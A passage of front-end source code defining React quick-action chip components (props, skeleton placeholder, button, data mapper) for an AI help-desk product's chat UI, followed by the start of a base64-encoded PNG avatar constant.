 label: ReactNode;\n  /** Icon: a declarative {@link QuickActionIconSpec} (preferred — unified\n   *  EntityIcon resolution) or a pre-rendered ReactNode. */\n  icon?: ReactNode | QuickActionIconSpec;\n  /** Caller-supplied {@link QuickActionThemeSpec}: supplies the icon accent\n   *  when the icon spec doesn't carry its own, and the lozenge when `lozenge`\n   *  is `true`. Explicit values always win over the theme. */\n  theme?: QuickActionThemeSpec;\n  /** {@link QuickActionChipLozenge} at the label's leading edge (e.g. an\n   *  IT/SEC classification affix). `true` renders the `theme`'s lozenge. */\n  lozenge?: QuickActionChipLozenge | boolean;\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip (default). */\n  variant?: 'primary' | 'outline';\n  /** Active single-select state (Figma \"Feature Item\" active): renders the\n   *  Tag's `selected` variant (pink border + pink-secondary fill), overriding\n   *  `variant`. Used by chip groups acting as tabs (OpenFrame categories). */\n  selected?: boolean;\n  /** Accent for the `selected` skin: `'cyan'` uses the cyan twin, anything else\n   *  (default) uses pink. Lets an agent's chip group match its own theme accent\n   *  (fae pink / mingo cyan) instead of the fixed pink. */\n  selectedAccent?: QuickActionAccent;\n  /** Chip scale, forwarded to `Tag` — `'large'` is the Figma \"Feature Item\"\n   *  48px chip (h3 bold label, 24px icon box). Default `'default'` (32px). */\n  size?: 'default' | 'large';\n  onSelect?: () => void;\n  /** Pointer/keyboard focus enters the chip — e.g. preview the full prompt. */\n  onHoverStart?: () => void;\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onHoverEnd?: () => void;\n  /** `false` renders a plain non-focusable `<Tag>` (decorative use: marquee\n   *  strips, table cells). Default `true`. */\n  interactive?: boolean;\n  className?: string;\n}\n\n// =============================================================================\n// Skeleton\n// =============================================================================\n\nexport interface QuickActionChipSkeletonProps {\n  /** Label placeholder width in `ch` of the chip's own font — vary per item\n   *  for a realistic spread. Default 16. */\n  labelCh?: number;\n  /** Reserve the leading-icon slot (default true — most chips carry one). */\n  icon?: boolean;\n  /** Reserve the leading lozenge affix slot. */\n  lozenge?: boolean;\n  /** Chip scale — MUST match the loaded chips' `size` or the swap jumps. */\n  size?: 'default' | 'large';\n  className?: string;\n}\n\n/** Pulse bar inside the chip skeleton — the standard `ui/skeleton` treatment\n *  (`animate-pulse bg-ods-border`), as a SPAN so it stays valid phrasing\n *  content inside the Tag's label span. */\nfunction ChipSkelBar({ className, style }: { className?: string; style?: CSSProperties }) {\n  return <span aria-hidden className={cn('animate-pulse rounded-md bg-ods-border', className)} style={style} />;\n}\n\n/**\n * Loading placeholder for {@link QuickActionChipButton} — renders the REAL\n * `Tag` (same height, padding, border, radius, icon box) with standard\n * skeleton pulse bars (identical animation + token as `ui/skeleton`) in the\n * icon/lozenge/label slots, so a skeleton chip is 1:1 with a loaded chip by\n * construction. Use anywhere quick actions stream in (chat empty states,\n * marketing walls, deck panels).\n */\nexport function QuickActionChipSkeleton({\n  labelCh = 16,\n  icon = true,\n  lozenge = false,\n  size = 'default',\n  className,\n}: QuickActionChipSkeletonProps) {\n  return (\n    <Tag\n      variant=\"outline\"\n      size={size}\n      className={className}\n      icon={icon ? <ChipSkelBar className={size === 'large' ? 'block size-5' : 'block size-4'} /> : undefined}\n      label={\n        <>\n          {lozenge && <ChipSkelBar className=\"mr-2 inline-block h-[16px] w-[26px] translate-y-[2px]\" />}\n          <ChipSkelBar className=\"inline-block h-[0.9em] translate-y-[0.08em]\" style={{ width: `${labelCh}ch` }} />\n        </>\n      }\n    />\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * The unified quick-action chip — Figma chip anatomy (card bg, border, mono\n * uppercase label) via the `Tag` outline/primary variants, with icon\n * resolution owned by `<EntityIcon>` in two formats (config icon w/ agent\n * accent, or fae/mingo agent mark). Used by every chat empty state\n * (guide / mingo / ai-agent), the marketing marquee strips, and the ROI\n * table task cells.\n */\nexport function QuickActionChipButton({\n  label,\n  icon,\n  theme,\n  lozenge,\n  variant = 'outline',\n  selected = false,\n  selectedAccent,\n  size = 'default',\n  onSelect,\n  onHoverStart,\n  onHoverEnd,\n  interactive = true,\n  className,\n}: QuickActionChipButtonProps) {\n  // The theme's accent only fills the gap — an icon spec's own accent\n  // (admin-configured per-action color) always wins.\n  const themedIcon = theme && isQuickActionIconSpec(icon) && !icon.accent ? { ...icon, accent: theme.accent } : icon;\n  const resolvedLozenge = lozenge === true ? theme?.lozenge : lozenge === false ? undefined : lozenge;\n  const resolvedIcon = renderQuickActionIcon(themedIcon);\n  const resolvedLabel = composeChipLabel(label, resolvedLozenge);\n  const tagVariant = selected ? (selectedAccent === 'cyan' ? 'selectedCyan' : 'selected') : variant;\n  if (!interactive) {\n    return <Tag variant={tagVariant} size={size} icon={resolvedIcon} label={resolvedLabel} className={className} />;\n  }\n  return (\n    <button\n      type=\"button\"\n      onClick={onSelect}\n      onMouseEnter={onHoverStart}\n      onMouseLeave={onHoverEnd}\n      onFocus={onHoverStart}\n      onBlur={onHoverEnd}\n      aria-pressed={selected || undefined}\n      className={cn(\n        'shrink-0 rounded-md focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n        className,\n      )}\n    >\n      <Tag variant={tagVariant} size={size} icon={resolvedIcon} label={resolvedLabel} />\n    </button>\n  );\n}\n\n// =============================================================================\n// Chip data shape + data→button mapper\n// =============================================================================\n\n/**\n * THE quick-action chip DATA shape — one declarative description of a chip that\n * every quick-action surface builds (chat empty states, {@link QuickActionWall},\n * {@link QuickActionMarquee}). Maps 1:1 to {@link QuickActionChipButton} props\n * via {@link QuickActionChipFromData}, so adding a chip capability means editing\n * exactly these two.\n */\nexport interface QuickActionChip {\n  /** Stable React key + menu-item id. */\n  id: string;\n  label: string;\n  /** Pre-rendered node OR a declarative {@link QuickActionIconSpec} (resolved\n   *  via the unified `<EntityIcon>` path). */\n  icon?: ReactNode | QuickActionIconSpec;\n  /** Caller-supplied {@link QuickActionThemeSpec} (accent + optional\n   *  lozenge) — per-chip so mixed walls (interleaved IT/SEC streams) work.\n   *  The lib ships no theme registry; consumers define their own specs. */\n  theme?: QuickActionThemeSpec;\n  /** Classification affix at the label's leading edge; `true` = the theme's. */\n  lozenge?: QuickActionChipLozenge | boolean;\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip (default). */\n  variant?: 'primary' | 'outline';\n  /** Active single-select state — renders the accented `selected` skin\n   *  (overrides `variant`). */\n  selected?: boolean;\n  /** Accent for the `selected` skin (`'cyan'` = cyan twin, else pink). */\n  selectedAccent?: QuickActionAccent;\n  onSelect?: () => void;\n  /** Pointer/keyboard focus enters the chip — e.g. preview the full prompt in\n   *  the composer. */\n  onHoverStart?: () => void;\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onHoverEnd?: () => void;\n}\n\n/**\n * THE {@link QuickActionChip}-data → {@link QuickActionChipButton} mapper —\n * one prop-plumbing spelling shared by every chat empty state, `QuickActionWall`,\n * and `QuickActionMarquee` (adding a chip field means editing exactly here).\n * `defaultTheme`/`defaultLozenge` fill gaps for wall-level theming;\n * `interactive={false}` renders the decorative Tag form (loop-clone copies).\n */\nexport function QuickActionChipFromData({\n  chip,\n  defaultTheme,\n  defaultLozenge,\n  interactive = true,\n  className,\n}: {\n  chip: QuickActionChip;\n  defaultTheme?: QuickActionThemeSpec;\n  defaultLozenge?: boolean;\n  interactive?: boolean;\n  className?: string;\n}) {\n  return (\n    <QuickActionChipButton\n      label={chip.label}\n      icon={chip.icon}\n      theme={chip.theme ?? defaultTheme}\n      lozenge={chip.lozenge ?? (defaultLozenge || undefined)}\n      variant={chip.variant ?? 'outline'}\n      selected={chip.selected}\n      selectedAccent={chip.selectedAccent}\n      onSelect={chip.onSelect}\n      onHoverStart={chip.onHoverStart}\n      onHoverEnd={chip.onHoverEnd}\n      interactive={interactive}\n      className={className}\n    />\n  );\n}\n","/**\n * Fae's avatar — Fae (the IT help-desk AI agent) has no vector icon, so its avatar IS its\n * mark. Packaged with the library as a base64 data URI so EVERY consumer renders it with\n * no host-asset serving required (see `AgentMark`). Source: 160×160 PNG, ~37 KB.\n */\nexport const FAE_AVATAR_DATA_URI =\n  'data:image/png;base64,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